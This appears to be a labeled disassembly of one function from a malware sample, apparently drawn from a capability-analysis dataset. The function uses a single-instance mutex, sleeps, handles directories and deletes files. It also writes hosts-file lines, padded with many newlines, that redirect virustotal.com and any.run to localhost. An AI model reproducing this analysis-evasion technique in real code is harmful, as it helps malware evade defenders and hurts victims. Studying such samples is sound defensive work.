Function at 0x4287a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x463460
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x480164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str._anatoliypetrovic1977_demo
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
jne 0x428ef7
push str._anatoliypetrovic1977_demo
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0xb0
lea eax, [ebp - 0xd8]
push esi
push eax
call fcn.0043e790
push ecx
lea ecx, [ebp - 0xd8]
call fcn.004254d0
mov edx, str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n
lea ecx, [ebp - 0xd8]
call fcn.00425000
mov edx, str.127.0.0.1_www.virustotal.com_n127.0.0.1_virustotal.com_n127.0.0.1_app.any.run_n127.0.0.1_any.run
lea ecx, [ebp - 0xd8]
call fcn.00425000
push eax
call fcn.004252a0
add esp, 4
lea ecx, [ebp - 0xd4]
call fcn.00414870
test eax, eax
jne 0x428877
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0xd8]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00407690
lea ecx, [ebp - 0xd8]
call fcn.0040e910
lea eax, [ebp - 0x108]
mov dword [ebp - 0x24], 0
push eax
mov edx, 3
mov dword [ebp - 0x20], 0
mov ecx, 0x482508
mov dword [ebp - 0x1c], 0
call fcn.0040a980
add esp, 4
mov dword [ebp - 0x14], 0x480c00
movq xmm0, qword [eax]
mov eax, dword [eax + 8]
movq qword [ebp - 0x11c], xmm0
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4288e7
xor eax, eax
mov dword [ebp - 0x14], 0x480c00
cmp ecx, 1
mov dword [ebp - 0x18], eax
setne cl
jmp 0x4288e9
xor cl, cl
test eax, eax
jne 0x428f19
test cl, cl
jne 0x428916
lea edx, [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, 0x482508
mov dword [ebp - 0x14], 0x480c00
call fcn.0040aa90
cmp dword [ebp - 0x18], 0
jne 0x428f2b
push 0xb0
call fcn.0043c81d
add esp, 4
mov edi, eax
push 0xb0
push 0
push edi
call fcn.0043e790
add esp, 0xc
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.00429220
sub esp, 0x30
mov dword [edi], 0x474d98
mov ecx, esp
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 0
call fcn.00408300
push edi
lea ecx, [ebp - 0x18]
call fcn.004292a0
add esp, 0x34
lea ecx, [edi + 0xa8]
push eax
call fcn.00408e70
mov esi, dword [ebp - 0x14]
or ebx, 0xffffffff
test esi, esi
je 0x4289a8
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x4289a8
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, ebx
lock xadd dword [esi + 8], eax
jne 0x4289a8
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [edi + 0x76], 1
lea ecx, [edi + 4]
lock inc dword [ecx]
mov dword [ebp - 0xe4], edi
mov byte [ebp - 0xe0], 1
mov dword [ebp - 4], 0
mov eax, ebx
lock xadd dword [ecx], eax
jne 0x4289e2
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x4289da
mov eax, dword [ecx]
push edi
jmp 0x4289e0
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
je 0x428a0f
lea ecx, [ebp - 0xe4]
mov dword [eax], 0
cmp eax, ecx
je 0x428a05
mov dword [eax], edi
xor edi, edi
mov byte [eax + 4], 1
add dword [ebp - 0x20], 8
jmp 0x428a25
lea ecx, [ebp - 0xe4]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00428f80
mov edi, dword [ebp - 0xe4]
mov dword [ebp - 4], 3
test edi, edi
je 0x428a4d
mov eax, ebx
lock xadd dword [edi + 4], eax
jne 0x428a4d
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x428a45
mov eax, dword [ecx]
push edi
jmp 0x428a4b
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov dword [ebp - 4], 0xffffffff
call fcn.0042c170
push 0xb0
call fcn.0043c81d
add esp, 4
mov edi, eax
push 0xb0
push 0
push edi
call fcn.0043e790
add esp, 0xc
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.00429390
sub esp, 0x30
mov dword [edi], 0x474d98
mov ecx, esp
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 0
call fcn.00408300
push edi
lea ecx, [ebp - 0x18]
call fcn.004292a0
add esp, 0x34
lea ecx, [edi + 0xa8]
push eax
call fcn.00408e70
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x428ae8
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x428ae8
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, ebx
lock xadd dword [esi + 8], eax
jne 0x428ae8
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [edi + 0x76], 1
lea ecx, [edi + 4]
lock inc dword [ecx]
mov dword [ebp - 0xec], edi
mov byte [ebp - 0xe8], 1
mov dword [ebp - 4], 4
mov eax, ebx
lock xadd dword [ecx], eax
jne 0x428b22
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x428b1a
mov eax, dword [ecx]
push edi
jmp 0x428b20
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
je 0x428b4f
lea ecx, [ebp - 0xec]
mov dword [eax], 0
cmp eax, ecx
je 0x428b45
mov dword [eax], edi
xor edi, edi
mov byte [eax + 4], 1
add dword [ebp - 0x20], 8
jmp 0x428b65
lea ecx, [ebp - 0xec]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00428f80
mov edi, dword [ebp - 0xec]
mov dword [ebp - 4], 7
test edi, edi
je 0x428b8d
mov eax, ebx
lock xadd dword [edi + 4], eax
jne 0x428b8d
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x428b85
mov eax, dword [ecx]
push edi
jmp 0x428b8b
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
push 0xb0
mov dword [ebp - 4], 0xffffffff
call fcn.0043c81d
add esp, 4
mov edi, eax
push 0xb0
push 0
push edi
call fcn.0043e790
add esp, 0xc
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.00429410
sub esp, 0x30
mov dword [edi], 0x474d98
mov ecx, esp
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 0
call fcn.00408300
push edi
lea ecx, [ebp - 0x18]
call fcn.004292a0
add esp, 0x34
lea ecx, [edi + 0xa8]
push eax
call fcn.00408e70
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x428c23
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x428c23
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, ebx
lock xadd dword [esi + 8], eax
jne 0x428c23
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [edi + 0x76], 1
lea ecx, [edi + 4]
lock inc dword [ecx]
mov dword [ebp - 0xf4], edi
mov byte [ebp - 0xf0], 1
mov dword [ebp - 4], 8
mov eax, ebx
lock xadd dword [ecx], eax
jne 0x428c5d
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x428c55
mov eax, dword [ecx]
push edi
jmp 0x428c5b
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
je 0x428c8a
lea ecx, [ebp - 0xf4]
mov dword [eax], 0
cmp eax, ecx
je 0x428c80
mov dword [eax], edi
xor edi, edi
mov byte [eax + 4], 1
add dword [ebp - 0x20], 8
jmp 0x428ca0
lea ecx, [ebp - 0xf4]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00428f80
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 4], 0xb
test edi, edi
je 0x428cc7
lock xadd dword [edi + 4], ebx
dec ebx
jne 0x428cc7
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x428cbf
mov eax, dword [ecx]
push edi
jmp 0x428cc5
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x428d06
nop dword [eax + eax]
mov ecx, dword [esi]
test ecx, ecx
je 0x428f42
cmp byte [esi + 4], 0
je 0x428cfa
cmp byte [ecx + 0x6c], 0
jne 0x428f42
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 8
cmp esi, edi
jne 0x428ce0
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
lea eax, [ebp - 0x128]
mov ecx, 0x4826a0
push eax
call fcn.00415e30
sub esp, 0x18
mov byte [ebp - 0x14], 0
mov ecx, esp
lea edx, [ebp - 0x128]
push dword [ebp - 0x14]
call fcn.0041b010
lea eax, [ebp - 0x110]
mov ecx, 0x482508
push eax
call fcn.00415e30
sub esp, 0x18
mov byte [ebp - 0x14], 0
mov ecx, esp
lea edx, [ebp - 0x110]
push dword [ebp - 0x14]
call fcn.0041b010
add esp, 4
call fcn.00438900
mov edx, dword [ebp - 0xfc]
add esp, 0x30
mov bl, al
cmp edx, 0x10
jb 0x428da9
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x428d9f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f3d
push edx
push ecx
call fcn.0043cbb8
add esp, 8
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
cmp edx, 0x10
jb 0x428dfe
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x428df4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f3d
push edx
push ecx
call fcn.0043cbb8
add esp, 8
test bl, bl
je 0x428e57
sub esp, 0x18
mov ecx, esp
push 0x482658
call fcn.00409880
sub esp, 0x18
mov ecx, esp
push 0x4826a0
call fcn.00409880
call fcn.00438fd0
add esp, 0x30
test al, al
je 0x428e57
mov ecx, 0x482508
call fcn.00428710
cmp dword [0x4826b4], 8
mov eax, 0x4826a0
cmovae eax, dword [0x4826a0]
push eax
call fcn.0043ad28
test edx, edx
jne 0x428f55
sub esp, 0x18
mov ecx, esp
push 0x482658
call fcn.00409880
call fcn.004280f0
add esp, 0x18
test al, al
je 0x428e93
cmp dword [0x48266c], 8
mov eax, 0x482658
cmovae eax, dword [0x482658]
push eax
call fcn.0043ad28
test edx, edx
jne 0x428f64
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x428ed9
mov edx, dword [ebp - 0x20]
push ecx
call fcn.00429120
mov ecx, dword [ebp - 0x1c]
add esp, 4
mov edx, dword [ebp - 0x24]
sub ecx, edx
and ecx, 0xfffffff8
mov eax, edx
cmp ecx, 0x1000
jb 0x428ecf
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f73
push ecx
push edx
call fcn.0043cbb8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043c625
mov esp, ebp
pop ebp
ret 0x10
push 0x10
push str.Error
push str.Program_already_running_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call fcn.004480f5
push 0x482508
lea edx, [ebp - 0x18]
mov ecx, str.exists
call fcn.0040a1d0
push 0x482508
lea edx, [ebp - 0x18]
mov ecx, str.create_directories
call fcn.0040a1d0
call fcn.00447a18
mov edx, 4
lea ecx, [ebp - 0x18]
call fcn.00408fe0
push eax
call fcn.0043b04b
push 0x4826a0
mov ecx, str.remove
call fcn.0040a140
push 0x482658
mov ecx, str.remove
call fcn.0040a140
call fcn.00447a18
int3